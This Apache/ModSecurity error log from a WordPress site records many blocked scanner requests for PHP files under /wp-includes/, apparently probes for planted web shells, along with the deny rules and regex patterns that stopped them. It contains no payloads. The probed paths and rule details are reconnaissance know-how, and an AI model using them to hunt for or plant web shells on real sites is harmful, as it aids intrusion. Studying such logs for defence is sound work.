[Sun Dec 21 02:55:20.927556 2025] [:error] [pid 8642:tid 8722] [client 31.171.130.110:55891] [client 31.171.130.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aUbxGCJkiik8k41igp1RNAAAARE"]
[Sun Dec 21 02:55:24.979606 2025] [:error] [pid 8640:tid 8668] [client 31.171.130.116:44117] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aUbxHPVclzlEWWhvYtmm9wAAAJI"]
[Sun Dec 21 02:55:25.573904 2025] [:error] [pid 44515:tid 44529] [client 31.171.130.133:50135] [client 31.171.130.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aUbxHZZAdBRP9gwGvJ5zJwAAAYs"]
[Sun Dec 21 02:55:27.188812 2025] [:error] [pid 8641:tid 8688] [client 31.171.130.112:26097] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aUbxH3E703usYSvQGLSgQAAAAMo"]
[Sun Dec 21 02:55:30.813623 2025] [:error] [pid 8640:tid 8652] [client 31.171.130.147:64127] [client 31.171.130.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aUbxIvVclzlEWWhvYtmnCwAAAII"]
[Sun Dec 21 02:55:31.690341 2025] [:error] [pid 8641:tid 8698] [client 31.171.130.158:20387] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aUbxI3E703usYSvQGLSgVgAAANI"]
[Sun Dec 21 02:55:32.285322 2025] [:error] [pid 8751:tid 8769] [client 31.171.130.109:37685] [client 31.171.130.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUbxJGvrnuGjNP7vtDR8wwAAABA"]
[Sun Dec 21 02:55:33.476593 2025] [:error] [pid 8751:tid 8753] [client 31.171.130.123:20691] [client 31.171.130.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aUbxJWvrnuGjNP7vtDR8zAAAAAA"]
[Sun Dec 21 02:55:34.083371 2025] [:error] [pid 8751:tid 8759] [client 31.171.130.143:60253] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUbxJmvrnuGjNP7vtDR80QAAAAY"]
[Sun Dec 21 02:55:35.685939 2025] [:error] [pid 8642:tid 8715] [client 31.171.130.132:45335] [client 31.171.130.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aUbxJyJkiik8k41igp1RaAAAAQo"]
[Sun Dec 21 02:55:36.334670 2025] [:error] [pid 44515:tid 44539] [client 31.171.130.112:37699] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aUbxKJZAdBRP9gwGvJ5zUgAAAZU"]
[Sun Dec 21 02:55:37.260938 2025] [:error] [pid 43680:tid 43699] [client 31.171.130.120:29293] [client 31.171.130.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUbxKUDkAAJVjNqC6UXf7wAAAU8"]
[Sun Dec 21 02:55:38.500600 2025] [:error] [pid 8751:tid 8773] [client 31.171.130.141:41083] [client 31.171.130.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aUbxKmvrnuGjNP7vtDR86QAAABQ"]
[Sun Dec 21 02:55:40.474132 2025] [:error] [pid 8642:tid 8728] [client 31.171.130.149:43791] [client 31.171.130.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aUbxLCJkiik8k41igp1RhgAAARc"]
[Sun Dec 21 02:55:43.692389 2025] [:error] [pid 22338:tid 22404] [client 31.171.130.140:55093] [client 31.171.130.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aUbxL3GYQSUt-opKpSJi0gAAAFM"]
[Sun Dec 21 02:55:45.435450 2025] [:error] [pid 8641:tid 8709] [client 31.171.130.146:54549] [client 31.171.130.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aUbxMXE703usYSvQGLSgggAAANg"]
[Sun Dec 21 02:55:46.318703 2025] [:error] [pid 8641:tid 8700] [client 31.171.130.110:55511] [client 31.171.130.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aUbxMnE703usYSvQGLSghAAAANM"]
[Sun Dec 21 02:55:48.167863 2025] [:error] [pid 22338:tid 22384] [client 31.171.130.112:24475] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUbxNHGYQSUt-opKpSJi4QAAAEA"]
[Sun Dec 21 02:55:50.952312 2025] [proxy_fcgi:error] [pid 8751:tid 8776] [client 31.171.130.135:32319] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:55:51.265056 2025] [proxy_fcgi:error] [pid 8751:tid 8767] [client 31.171.130.135:32319] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:55:51.563951 2025] [proxy_fcgi:error] [pid 8751:tid 8756] [client 31.171.130.135:32319] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 02:55:53.098492 2025] [:error] [pid 8751:tid 8772] [client 31.171.130.135:32319] [client 31.171.130.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aUbxOWvrnuGjNP7vtDR9QQAAABM"]
[Sun Dec 21 02:56:03.699060 2025] [:error] [pid 8641:tid 8682] [client 31.171.130.157:60025] [client 31.171.130.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aUbxQ3E703usYSvQGLSgqAAAAMQ"]
[Sun Dec 21 03:10:24.048872 2025] [:error] [pid 44515:tid 44524] [client 43.155.140.157:38708] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUb0oJZAdBRP9gwGvJ57CQAAAYY"]
[Sun Dec 21 04:39:41.678698 2025] [:error] [pid 20676:tid 20751] [client 4.217.198.247:65093] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUcJjapSa967F4pOO5yt8AAAAJI"], referer: https://www.google.com/
[Sun Dec 21 04:39:42.246053 2025] [:error] [pid 20760:tid 20777] [client 4.217.198.247:65101] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aUcJjuXEVvRTAtWo3gmNUAAAAM4"], referer: https://www.yahoo.com/
[Sun Dec 21 04:39:49.948339 2025] [:error] [pid 20674:tid 20686] [client 4.217.198.247:65123] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUcJldhSbhHOCK6TAw8HwwAAAAg"], referer: https://www.google.fr/
[Sun Dec 21 04:39:50.227497 2025] [:error] [pid 20760:tid 20787] [client 4.217.198.247:65114] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUcJluXEVvRTAtWo3gmNdgAAANg"], referer: https://www.yahoo.com/
[Sun Dec 21 04:39:52.242310 2025] [:error] [pid 20760:tid 20778] [client 4.217.198.247:65040] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aUcJmOXEVvRTAtWo3gmNgAAAAM8"], referer: https://www.yahoo.com/
[Sun Dec 21 04:39:53.091999 2025] [:error] [pid 20674:tid 20681] [client 4.217.198.247:65094] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aUcJmdhSbhHOCK6TAw8HyAAAAAM"], referer: https://www.google.fr/
[Sun Dec 21 04:39:53.381117 2025] [:error] [pid 20760:tid 20786] [client 4.217.198.247:65033] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aUcJmeXEVvRTAtWo3gmNgQAAANc"], referer: https://www.bing.com/
[Sun Dec 21 04:39:53.655337 2025] [:error] [pid 20676:tid 20746] [client 4.217.198.247:65117] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUcJmapSa967F4pOO5yuKgAAAI0"], referer: https://www.google.com/
[Sun Dec 21 04:39:53.936612 2025] [:error] [pid 20760:tid 20769] [client 4.217.198.247:65089] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aUcJmeXEVvRTAtWo3gmNggAAAMY"], referer: https://www.google.co.uk/
[Sun Dec 21 04:39:54.239408 2025] [:error] [pid 20675:tid 20711] [client 4.217.198.247:65112] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUcJmryUvZnd3bHSR3b4eAAAAEU"], referer: https://www.google.co.uk/
[Sun Dec 21 04:39:54.810808 2025] [:error] [pid 20675:tid 20717] [client 4.217.198.247:65129] [client 4.217.198.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aUcJmryUvZnd3bHSR3b4egAAAEs"], referer: https://www.google.de/
[Sun Dec 21 05:27:57.774222 2025] [autoindex:error] [pid 20674:tid 20681] [client 4.189.144.205:38863] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sun Dec 21 05:28:15.344518 2025] [:error] [pid 20675:tid 20726] [client 4.189.144.205:16588] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aUcU77yUvZnd3bHSR3YEzAAAAFQ"], referer: https://www.google.de/
[Sun Dec 21 05:28:15.835879 2025] [:error] [pid 20760:tid 20771] [client 4.189.144.205:50818] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aUcU7-XEVvRTAtWo3gmgOwAAAMg"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:16.065364 2025] [:error] [pid 20676:tid 20755] [client 4.189.144.205:38829] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUcU8KpSa967F4pOO5y6IwAAAJY"], referer: https://www.bing.com/
[Sun Dec 21 05:28:16.295661 2025] [:error] [pid 20676:tid 20746] [client 4.189.144.205:60584] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aUcU8KpSa967F4pOO5y6JAAAAI0"], referer: https://www.bing.com/
[Sun Dec 21 05:28:16.526491 2025] [:error] [pid 20760:tid 20773] [client 4.189.144.205:16480] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUcU8OXEVvRTAtWo3gmgPgAAAMo"], referer: https://www.bing.com/
[Sun Dec 21 05:28:17.258621 2025] [:error] [pid 20675:tid 20727] [client 4.189.144.205:50870] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aUcU8byUvZnd3bHSR3YE0AAAAFU"], referer: https://www.google.com/
[Sun Dec 21 05:28:17.486993 2025] [:error] [pid 20676:tid 20733] [client 4.189.144.205:50931] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUcU8apSa967F4pOO5y6JgAAAIA"], referer: https://www.yahoo.com/
[Sun Dec 21 05:28:17.715714 2025] [:error] [pid 20675:tid 20710] [client 4.189.144.205:16507] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUcU8byUvZnd3bHSR3YE0QAAAEQ"], referer: https://www.google.fr/
[Sun Dec 21 05:28:20.093377 2025] [:error] [pid 20675:tid 20707] [client 4.189.144.205:38821] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aUcU9LyUvZnd3bHSR3YE1wAAAEE"], referer: https://duckduckgo.com/
[Sun Dec 21 05:28:20.323367 2025] [:error] [pid 20675:tid 20718] [client 4.189.144.205:16457] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aUcU9LyUvZnd3bHSR3YE2AAAAEw"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:20.553884 2025] [:error] [pid 20760:tid 20778] [client 4.189.144.205:50936] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aUcU9OXEVvRTAtWo3gmgUAAAAM8"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:21.033130 2025] [:error] [pid 20675:tid 20725] [client 4.189.144.205:17411] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUcU9byUvZnd3bHSR3YE2gAAAFM"], referer: https://www.google.co.uk/
[Sun Dec 21 05:28:21.261455 2025] [:error] [pid 20676:tid 20749] [client 4.189.144.205:17457] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUcU9apSa967F4pOO5y6LAAAAJA"], referer: https://www.google.de/
[Sun Dec 21 05:28:22.236379 2025] [:error] [pid 20676:tid 20752] [client 4.189.144.205:17281] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUcU9qpSa967F4pOO5y6MgAAAJM"], referer: https://www.bing.com/
[Sun Dec 21 05:28:22.468140 2025] [:error] [pid 20674:tid 20702] [client 4.189.144.205:53441] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUcU9thSbhHOCK6TAw8R7QAAABg"], referer: https://www.google.fr/
[Sun Dec 21 05:28:22.696821 2025] [:error] [pid 20675:tid 20722] [client 4.189.144.205:38261] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aUcU9ryUvZnd3bHSR3YE3QAAAFA"], referer: https://www.google.fr/
[Sun Dec 21 05:28:24.584953 2025] [:error] [pid 20760:tid 20783] [client 4.189.144.205:16448] [client 4.189.144.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aUcU-OXEVvRTAtWo3gmgWAAAANQ"], referer: https://www.google.fr/
